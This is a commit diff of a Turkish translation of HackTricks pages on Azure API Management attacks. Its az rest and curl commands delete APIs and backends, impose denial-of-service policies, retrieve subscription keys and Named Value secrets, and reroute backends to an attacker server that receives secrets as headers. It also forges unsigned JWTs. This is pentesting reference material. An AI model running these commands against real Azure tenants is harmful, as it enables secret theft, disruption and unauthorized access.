Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-12-26 18:52:39 +00:00
parent 5f453daa51
commit 3c55f68709
3 changed files with 40 additions and 38 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Saldırgan, denial of service oluşturmak için birden fazla vektör kullanabilir. Meşru trafiği engellemek için saldırgan, normal erişimi fiilen engelleyen çok düşük değerlerle rate-limiting ve quota politikaları ekler:
Saldırgan, denial of service oluşturmak için birden fazla vektör kullanabilir. Meşru trafiği engellemek için saldırgan, normal erişimi fiilen engelleyen son derece düşük değerlerle rate-limiting ve quota policies ekler:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
Belirli meşru istemci IP'lerini engellemek için, saldırgan seçilen adreslerden gelen istekleri reddeden IP filtreleme politikaları ekleyebilir:
Belirli meşru istemci IP'lerini engellemek için, saldırgan seçili adreslerden gelen istekleri reddeden IP filtreleme politikaları ekleyebilir:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,7 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
İsteklerin başarısız olmasına neden olmak için, saldırgan backend yapılandırmasını değiştirebilir ve URL'sini geçersiz veya ulaşılamaz bir adresle değiştirebilir:
requests'in başarısız olmasını sağlamak için attacker, bir backend yapılandırmasını değiştirebilir ve URL'sini geçersiz veya ulaşılamaz bir adrese çevirebilir:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -40,14 +40,14 @@ az rest --method PUT \
}
}'
```
Veya backends'i sil:
Ya da backends'i sil:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Kritik API'leri kullanılamaz hale getirmek için, saldırgan bunları doğrudan API Management service'ten silebilir:
Kritik API'leri kullanılamaz hale getirmek için, saldırgan bunları doğrudan API Management service üzerinden silebilir:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Meşru kullanıcıların erişimini engellemek için saldırgan API Management aboneliklerini silebilir:
Meşru kullanıcıların erişimini engellemek için, saldırgan API Management aboneliklerini silebilir:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,31 +4,31 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Saldırı, Azure API Management Named Values içinde saklanan hassas secrets'e erişmeyi içerir; ya secrets değerlerini doğrudan alarak ya da managed identities aracılığıyla Key Vaultbacked secrets elde etmek için izinleri kötüye kullanarak.
Saldırı, Azure API Management Named Values içinde saklanan hassas secrets'e erişmeyi hedefler; bu, secret değerleri doğrudan almak veya managed identities aracılığıyla Key Vaultbacked secrets elde etmek için izinleri suistimal etmek yoluyla yapılabilir.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Her abonelik için saldırgan, POST yöntemiyle listSecrets endpoint'ini kullanarak abonelik anahtarlarını elde edebilir:
Her abonelik için, saldırgan POST yöntemiyle listSecrets endpoint'ini kullanarak abonelik anahtarlarını elde edebilir:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Yanıt, subscription primary key (primaryKey) ve secondary key (secondaryKey) içerir. Bu anahtarlarla attacker authenticate olarak API Management Gateway üzerinden yayınlanmış API'lere erişebilir:
Yanıt, subscription primary key (primaryKey) ve secondary key (secondaryKey) içerir. Bu anahtarlarla attacker API Management Gateway üzerinden yayınlanmış API'lere kimlik doğrulaması yapabilir ve erişim sağlayabilir:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Saldırgan, abonelikle ilişkili tüm API'lere ve ürünlere erişebilir. Aboneliğin hassas ürünlere veya API'lere erişimi varsa, saldırgan gizli bilgileri elde edebilir veya yetkisiz işlemler gerçekleştirebilir.
Saldırgan, aboneliğe bağlı tüm APIs ve products öğelerine erişebilir. Abonelik hassas products veya APIs'lere erişim sağlıyorsa, saldırgan gizli bilgilere ulaşabilir veya yetkisiz işlemler gerçekleştirebilir.
## `Microsoft.ApiManagement/service/policies/write` veya `Microsoft.ApiManagement/service/apis/policies/write`
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
Saldırgan önce mevcut API politikasını alır:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Saldırgan, hedeflerine bağlı olarak politikayı birden fazla şekilde değiştirebilir. Örneğin, kimlik doğrulamayı devre dışı bırakmak için, politika JWT token validation içeriyorsa, saldırgan o bölümü kaldırabilir veya yorum satırı haline getirebilir:
Saldırgan, hedeflerine bağlı olarak politikayı çeşitli şekillerde değiştirebilir. Örneğin, kimlik doğrulamayı devre dışı bırakmak için, politika JWT token validation içeriyorsa saldırgan o bölümü kaldırabilir veya yorum satırı haline getirebilir:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ Saldırgan, hedeflerine bağlı olarak politikayı birden fazla şekilde değiş
</on-error>
</policies>
```
Rate limiting kontrollerini kaldırarak denial-of-service attacks'e izin vermek için, saldırgan quota ve rate-limit politikalarını kaldırabilir veya yorum satırı haline getirebilir:
rate limiting kontrollerini kaldırmak ve denial-of-service saldırılarına izin vermek için, saldırgan quota ve rate-limit politikalarını kaldırabilir veya yorum satırı haline getirebilir:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ Rate limiting kontrollerini kaldırarak denial-of-service attacks'e izin vermek
...
</policies>
```
Arka uç rotasını değiştirmek ve trafiği saldırgan tarafından kontrol edilen bir sunucuya yönlendirmek için:
Backend rotasını değiştirmek ve trafiği saldırganın kontrolündeki bir servera yönlendirmek için:
```xml
<policies>
...
@@ -72,7 +72,7 @@ Arka uç rotasını değiştirmek ve trafiği saldırgan tarafından kontrol edi
...
</policies>
```
Saldırgan daha sonra değiştirilmiş policy'yi uygular. İstek gövdesi, XML formatında policy'yi içeren bir JSON nesnesi olmalıdır:
Saldırgan daha sonra değiştirilmiş politikayı uygular. İstek gövdesi, politikayı XML formatında içeren bir JSON nesnesi olmalıdır:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -86,7 +86,7 @@ az rest --method PUT \
```
## JWT Doğrulama Yanlış Yapılandırması
Saldırganın, bir API'nin JWT token doğrulaması kullandığını ve politikanın yanlış yapılandırıldığını bilmesi gerekir. Kötü yapılandırılmış JWT doğrulama politikaları `require-signed-tokens="false"` veya `require-expiration-time="false"` içerebilir; bu da servisin unsigned tokens veya tokens that never expire kabul etmesine olanak tanır.
Saldırganın, bir API'nin JWT token doğrulaması kullandığını ve politikanın yanlış yapılandırıldığını bilmesi gerekir. Kötü yapılandırılmış JWT token doğrulama politikaları `require-signed-tokens="false"` veya `require-expiration-time="false"` içerebilir; bu, servisin imzasız tokenları veya süresi hiç dolmayan tokenları kabul etmesine izin verir.
Saldırgan, none algorithm (unsigned) kullanarak kötü amaçlı bir JWT token oluşturur:
```
@@ -100,17 +100,17 @@ curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Eğer politika `require-signed-tokens="false"` olarak yanlış yapılandırıldıysa, servis imzasız token'ı kabul edecektir. Saldırgan ayrıca `require-expiration-time="false"` ise expiration claim'i olmayan bir token oluşturabilir.
Eğer politika `require-signed-tokens="false"` olarak yanlış yapılandırıldıysa, servis imzasız token'ı kabul eder. Saldırgan ayrıca `require-expiration-time="false"` ise expiration claim'i olmayan bir token oluşturabilir.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Saldırgan ilk olarak servisin mevcut ağ yapılandırmasını kontrol eder:
Saldırgan önce servisin mevcut ağ yapılandırmasını kontrol eder:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Saldırgan, JSON yanıtını `publicNetworkAccess` ve `virtualNetworkType` değerlerini doğrulamak için inceler. Eğer `publicNetworkAccess` false olarak ayarlanmışsa veya `virtualNetworkType` Internal olarak ayarlanmışsa, servis özel erişime yapılandırılmış demektir.
Saldırgan, JSON yanıtını `publicNetworkAccess` ve `virtualNetworkType` değerlerini doğrulamak için inceler. Eğer `publicNetworkAccess` false olarak ayarlanmışsa veya `virtualNetworkType` Internal olarak ayarlanmışsa, servis özel erişim için yapılandırılmıştır.
Servisi İnternet'e açmak için saldırgan her iki ayarı da değiştirmelidir. Eğer servis dahili modda çalışıyorsa (`virtualNetworkType: "Internal"`), saldırgan bunu None veya External olarak değiştirir ve `publicNetworkAccess`'i etkinleştirir. Bu, Azure Management API kullanılarak yapılabilir:
Servisi İnternet'e açmak için saldırgan her iki ayarı da değiştirmelidir. Servis internal modda çalışıyorsa (`virtualNetworkType: "Internal"`), saldırgan bunu None veya External olarak değiştirir ve `publicNetworkAccess`'ı etkinleştirir. Bu, Azure Management API kullanılarak yapılabilir:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,10 +122,10 @@ az rest --method PATCH \
}
}'
```
Once `virtualNetworkType` is set to `None` or `External` and `publicNetworkAccess` is enabled, the service and all its APIs become accessible from the Internet, even if they were previously protected behind a private network or private endpoints.
`virtualNetworkType` None veya External olarak ayarlandığında ve `publicNetworkAccess` etkinleştirildiğinde, hizmet ve tüm API'leri Internet'ten erişilebilir hale gelir; daha önce özel bir ağ veya private endpoints arkasında korunuyor olsalar bile.
## `Microsoft.ApiManagement/service/backends/write`
Saldırgan önce mevcut backends'i enumerate ederek hangi backendi değiştireceğini belirler:
Saldırgan, hangi backends'i değiştireceğini belirlemek için mevcut backends'i önce listeler:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
@@ -135,7 +135,7 @@ Saldırgan, değiştirmek istediği backend'in mevcut yapılandırmasını alır
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Saldırgan, backend URL'sini kendi kontrolündeki bir sunucuya işaret edecek şekilde değiştirir. Önce önceki yanıttan ETag'i alır ve sonra backend'i günceller:
Saldırgan, backend URL'sini kendi kontrolündeki bir sunucuya yönlendirir. Önce önceki yanıttan ETag'i alır, sonra backend'i günceller:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
Alternatif olarak, saldırgan, içinde gizli bilgiler bulunan Named Values'leri exfiltrate etmek için backend headers'ı yapılandırabilir. Bu, backend credentials configuration aracılığıyla yapılır:
Alternatif olarak, saldırgan gizli bilgiler içeren Named Values'i dışarı çıkarmak için backend başlıklarını yapılandırabilir. Bu, backend kimlik bilgileri yapılandırması aracılığıyla yapılır:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
Bu yapılandırma ile Named Values, attacker-controlled backend'e yapılan tüm isteklerde headers olarak gönderilir; bu da sensitive secrets'in exfiltration'ına izin verir.
Bu yapılandırma ile Named Values, tüm isteklere headers olarak saldırgan kontrolündeki backend'e gönderilir ve hassas sırların sızdırılmasına olanak tanır.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,39 +4,41 @@
## Temel Bilgiler
Azure API Management (APIM), **API'leri yayınlama, güvenliğini sağlama, dönüştürme, yönetme ve izleme için birleşik bir platform** sunan tamamen yönetilen bir hizmettir. Kuruluşların **API'lerini merkezi hale getirmelerini** sağlayarak tüm servisler genelinde tutarlı yönetişim, performans ve güvenlik sağlar. Backend servisleri ile API tüketicileri arasında bir soyutlama katmanı olarak hareket ederek APIM, entegrasyonu basitleştirir ve sürdürülebilirliği artırır; aynı zamanda temel operasyonel ve güvenlik yeteneklerini sağlar.
Azure API Management (APIM), API'leri yayınlamak, güvence altına almak, dönüştürmek, yönetmek ve izlemek için eksiksiz yönetilen bir platform sunan bir hizmettir. Kuruluşların API stratejilerini merkezi hale getirmelerini ve tüm servisler boyunca tutarlı yönetişim, performans ve güvenliği sağlamalarını mümkün kılar. APIM, backend servisleri ile API tüketicileri arasında bir soyutlama katmanı olarak çalışarak entegrasyonu basitleştirir ve sürdürülebilirliği artırırken temel operasyonel ve güvenlik yetenekleri sağlar.
## Temel Kavramlar
**The API Gateway** tüm API trafiği için tek giriş noktası olarak hizmet verir; istekleri backend servislere yönlendirme, oran sınırlaması uygulama, yanıtları önbellekleme ve kimlik doğrulama ile yetkilendirmeyi yönetme gibi işlevleri yürütür. Bu gateway Azure tarafından tamamen barındırılır ve yönetilir, yüksek kullanılabilirlik ve ölçeklenebilirlik sağlar.
**The API Gateway** tüm API trafiği için tek giriş noktası olarak hizmet eder; istekleri backend servislerine yönlendirme, oran sınırlama (rate limiting) uygulama, yanıtları önbelleğe alma ve kimlik doğrulama ile yetkilendirme yönetimi gibi işlevleri gerçekleştirir. Bu gateway Azure tarafından tamamen host edilir ve yönetilir, yüksek erişilebilirlik ve ölçeklenebilirlik sağlar.
**The Developer Portal** API tüketicilerinin kullanılabilir API'leri keşfedebileceği, dokümantasyonu okuyabileceği ve uç noktaları test edebileceği self-servis bir ortam sunar. İnteraktif araçlar ve abonelik bilgilerine erişim sağlayarak onboarding sürecini hızlandırır.
**The Developer Portal** API tüketicilerinin kullanılabilir API'leri keşfetmesine, dokümantasyonu okumasına ve endpoint'leri test etmesine olanak tanıyan self-servis bir ortam sağlar. İnteraktif araçlar ve abonelik bilgilerine erişim sunarak onboarding sürecini hızlandırır.
**The Management Portal (Management Plane)** yöneticilerin APIM hizmetini yapılandırmak ve sürdürmek için kullandığı arayüzdür. Buradan kullanıcılar API ve operasyonları tanımlayabilir, erişim kontrolü yapılandırabilir, politika uygulayabilir, kullanıcıları yönetebilir ve API'leri ürünler halinde organize edebilir. Bu portal yönetimi merkezileştirir ve tutarlı API yönetişimi sağlar.
**The Management Portal (Management Plane)**, yöneticilerin APIM servisinin yapılandırılması ve bakımını yapması için kullanılır. Buradan kullanıcılar API ve operasyonları tanımlayabilir, erişim kontrolü yapılandırabilir, politikalar uygulayabilir, kullanıcıları yönetebilir ve API'leri ürünler halinde organize edebilir. Bu portal yönetimi merkezileştirir ve tutarlı API yönetişimi sağlar.
## Kimlik Doğrulama ve Yetkilendirme
Azure API Management, API erişimini güvence altına almak için çeşitli **kimlik doğrulama mekanizmalarını** destekler. Bunlar arasında **subscription keys**, **OAuth 2.0 tokens** ve **client certificates** bulunur. APIM ayrıca **Microsoft Entra ID** ile yerel entegrasyon sağlayarak hem API'lere hem de backend servislerine **kurumsal düzeyde kimlik yönetimi** ve **güvenli erişim** imkanı sunar.
Azure API Management, API erişimini güvence altına almak için çeşitli **kimlik doğrulama mekanizmalarını** destekler. Bunlar arasında **subscription keys**, **OAuth 2.0 tokens** ve **client certificates** bulunur. APIM ayrıca **Microsoft Entra ID** ile yerel entegrasyon sağlar; böylece kurumsal düzeyde kimlik yönetimi ve hem API'lere hem de backend servislerine güvenli erişim mümkün olur.
## Politikalar
## Policies
APIM'de politikalar, **istek ve yanıt işleme**yi hizmet, API, operasyon veya ürün düzeyinde çeşitli inceliklerde özelleştirmeye imkan verir. Politikalar aracılığıyla **JWT token validation**, **XML veya JSON payload'ları dönüştürme**, **oran sınırlaması uygulama**, **çağrıları IP adresine göre kısıtlama** veya **managed identities kullanarak backend servislerine kimlik doğrulama** gibi işlevler uygulanabilir. Politikalar son derece esnektir ve API Management platformunun temel güçlü yönlerinden birini oluşturarak backend kodunu değiştirmeden çalışma zamanı davranışı üzerinde ince kontrollere imkan verir.
APIM'deki politikalar, yöneticilerin **istek ve yanıt işlemesini** hizmet, API, operasyon veya ürün düzeyinde özelleştirmesine izin verir. Politikalar aracılığıyla **JWT token doğrulaması** uygulamak, **XML veya JSON payload'larını dönüştürmek**, **oran sınırlaması** getirmek, **çağrıları IP adresine göre kısıtlamak** veya **managed identities kullanarak backend servislerine kimlik doğrulaması yapmak** mümkündür. Politikalar son derece esnektir ve API Management platformunun temel güçlü yönlerinden birini oluşturur; backend kodunu değiştirmeden çalışma zamanı davranışı üzerinde ince kontrollere olanak verir.
## Named Values
Hizmet, **Named Values** adlı bir mekanizma sağlar; bu mekanizma politikalar tarafından gereken **konfigürasyon bilgilerini** (ör. **gizli değerler**, **API anahtarları** veya diğer değerler) saklamaya olanak tanır.
Servis, **Named Values** adındaki bir mekanizma sağlar; bu mekanizma politikalar tarafından kullanılacak **secret**, **API key** veya diğer yapılandırma bilgilerini saklamaya imkan verir.
Bu değerler doğrudan APIM içinde saklanabilir veya güvenli şekilde **Azure Key Vault**'tan referanslanabilir. Named Values, konfigürasyon verilerinin güvenli ve merkezi yönetimini teşvik eder ve hardcoded değerler yerine **yeniden kullanılabilir referanslar** kullanılarak politika yazımını basitleştirir.
Bu değerler doğrudan APIM içinde depolanabilir veya güvenli bir şekilde **Azure Key Vault**'tan referanslanabilir. Named Values, yapılandırma verilerinin güvenli ve merkezi yönetimini teşvik eder ve politika yazımını, hardcoded değerler yerine tekrar kullanılabilir referanslarla basitleştirir.
## Ağ ve Güvenlik Entegrasyonu
Azure API Management, **virtual network ortamları** ile sorunsuz entegrasyon sağlar ve backend sistemlere **özel ve güvenli bağlantı** mkün kılar.
Azure API Management, **virtual network** ortamlarıyla sorunsuz entegrasyon sağlar ve backend sistemlere **özel ve güvenli bağlantı** kurulmasına imkan verir.
Bir **Virtual Network (VNet)** içinde dağıtıldığında, APIM iç servislerine bunları genel olarak açmadan erişebilir. Hizmet ayrıca backend servislerle **mutual TLS authentication** desteklemek için **custom certificates** yapılandırılmasına izin verir; bu, **güçlü kimlik doğrulamanın** gerektiği senaryolarda güvenliği artırır.
Bir **Virtual Network (VNet)** içinde dağıtıldığında, APIM dahili servislere bunları ık hale getirmeden erişebilir. Servis ayrıca backend servisleriyle **mutual TLS authentication** desteklemek için **custom certificates** yapılandırılmasına izin verir; bu, güçlü kimlik doğrulaması gerektiren senaryolarda güvenliği artırır.
Bu ağ özellikleri APIM'i hem **cloud-native** hem de **hybrid architectures** için uygun hale getirir.
Bu **ağ özellikleri**, APIM'i hem cloud-native hem de hybrid mimariler için uygun hale getirir.
### Keşif
### Enumerate
To enumerate the API management service:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>